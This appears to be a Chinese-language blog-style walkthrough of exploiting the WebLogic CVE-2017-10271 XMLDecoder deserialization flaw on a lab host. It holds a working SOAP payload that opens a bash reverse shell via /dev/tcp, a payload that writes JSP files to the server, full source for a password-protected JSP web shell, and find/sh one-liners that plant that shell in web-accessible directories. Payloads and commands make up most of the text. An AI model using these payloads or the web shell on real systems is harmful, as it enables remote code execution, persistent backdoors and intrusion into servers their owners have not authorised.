weblogic ip :192.168.27.128:7001
使用weblogicscan对目标进行探测
python3 WeblogicScan.py -u 192.168.27.128 -p 7001
扫到了不少洞,现在开搞2017-10271
漏洞原理
CVE-2017-10271漏洞主要是由WebLogic Server WLS
组件远程命令执行漏洞,主要由wls-wsat.war
触发该漏洞。
通过构造SOAP(XML)格式的请求,在解析的过程中导致XMLDecoder反序列化漏洞。
CVE-2017-10271是对CVE-2017-3506 的补丁绕过,将其中的object替换成了void。
触发漏洞url
/wls-wsat/CoordinatorPortType
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/ParticipantPortType
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationRequesterPortType1
影响范围
Weblogic 10.3.6 | 12.1.3.0.0 | 12.2.1.1.0
POC
从CSDN搞到二手POC
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i >& /dev/tcp/ip/port 0>&1</string>
</void>
</array>
<void method="start"/>
</void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
尝试利用一手,抓包修改,放包看看能不能弹出来!
注:抓包后,将GET改为POST,同时在请求头中增加Content-Type:text/xml;charset=utf-8
成功接收到shell
写入后门
先用大佬的poc搞一手,再想办法用前面的命令执行自己写一个
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java><java version="1.4.0" class="java.beans.XMLDecoder">
<object class="java.io.PrintWriter">
<string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string>
<void method="println">
<string>
<![CDATA[
<% out.print("test"); %>
]]>
</string>
</void>
<void method="close"/>
</object></java></java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
直接修改上面的数据包即可
访问http://192.168.27.128:7001/bea_wls_internal/chen.jsp
发现写入成功了,接下来找个小马试试能不能搞进去
拿一个以前找到的,连接密码为passwd
<%!
class U extends ClassLoader {
U(ClassLoader c) {
super(c);
}
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}
public byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
} catch (Exception e) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
}
}
%>
<%
String cls = request.getParameter("passwd");
if (cls != null) {
new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
}
%>
进入chen.jsp看看传成公了吗,然后再用蚁剑连接一手
连接成功!
命令执行写入
find / -name 可访问文件名 | while read f;do sh -c ‘id;pwd;ifconfig’>$(dirname $f)/pwd.txt;done
这里随便找一个可访问的文件,访问192.168.27.128:7001/console,进入到登陆页面,右键查看源代码,随便找一个图片或文件的链接,这就搞到了可访问的文件名
将上面POC中的反弹shell命令修改为
find / -name Branding_Login_WeblogicConsole.gif | while read f;do sh -c ‘id;pwd;ifconfig’
>
$(dirname $f)/pwd.txt;done注意这里的>要用
>
这条命令的意思是,找到所有叫Branding_Login_WeblogicConsole.gif的文件,循环读取,每次循环 执行 id;pwd;ifconfig命令,
将输出重定向到当前循环的Branding_Login_WeblogicConsole.gif文件的同级目录下的pwd.txt文件,因为可以访问到该图片,所以能访问到创建的文件
搞一手,试一下啊
成功搞来了绝对路径,但是这个路径访问不到,修改一下,让它给看看当前目录
find / -name Branding_Login_WeblogicConsole.gif | while read f;do sh -c ‘find / -name Branding_Login_WeblogicConsole.gif;pwd;ifconfig’
>
$(dirname $f)/pwd.txt;done将目录都输出出来看一下
同样的方法,我们向该目录写如shell
find / -name Branding_Login_WeblogicConsole.gif | while read f;do sh -c ‘echo “<%!
class U extends ClassLoader {
U(ClassLoader c) {
super©;
}
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}
public byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName(“sun.misc.BASE64Decoder”);
return (byte[]) clazz.getMethod(“decodeBuffer”, String.class).invoke(clazz.newInstance(), str);
} catch (Exception e) {
Class clazz = Class.forName(“java.util.Base64”);
Object decoder = clazz.getMethod(“getDecoder”).invoke(null);
return (byte[]) decoder.getClass().getMethod(“decode”, String.class).invoke(decoder, str);
}
}
%>
<%
String cls = request.getParameter(“passwd”);
if (cls != null) {
new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
}
%>”’>$(dirname $f)/aaa123.jsp;done
写进去了,但是好像这个目录不能执行jsp代码,还要换个目录
这回我们搞LoginForm.jsp所在目录
find / -name Branding_Login_WeblogicConsole.gif | while read f;do sh -c ‘find / -name LoginForm.jsp;pwd;ifconfig’
>
$(dirname $f)/pwd.txt;done
直接写一下试试吧,但是尝试了这个目录写不进去,还是用大佬的POC或者反弹shell吧…
工具一样用就行,没啥意思